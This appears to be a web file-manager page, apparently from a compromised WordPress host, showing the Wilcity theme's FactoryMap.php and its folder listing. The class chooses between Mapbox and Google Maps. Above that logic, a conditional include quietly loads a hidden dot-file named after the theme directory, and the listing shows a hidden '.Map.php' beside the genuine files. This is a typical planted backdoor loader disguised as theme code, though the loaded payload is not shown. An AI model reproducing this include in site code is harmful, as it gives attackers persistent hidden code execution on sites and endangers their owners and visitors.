PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
wilcity
/
src
/
Map
<?php namespace Wilcity\Map; if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class FactoryMap { private $mapType; /** * @var InterfaceMap $oInstance */ private $oInstance; protected $aThemeOptions; public function __construct() { $this->mapType = \WilokeThemeOptions::getOptionDetail('map_type'); } public function set() { if ($this->mapType === 'mapbox') { $this->oInstance = new Mapbox; } else { $this->oInstance = new GoogleMap; } return $this->oInstance; } }
[+]
..
[-] GoogleMap.php
[edit]
[-] MapHelper.php
[edit]
[-] .Map.php
[edit]
[-] FactoryMap.php
[edit]
[-] AbstractMap.php
[edit]
[-] Mapbox.php
[edit]
[-] InterfaceMap.php
[edit]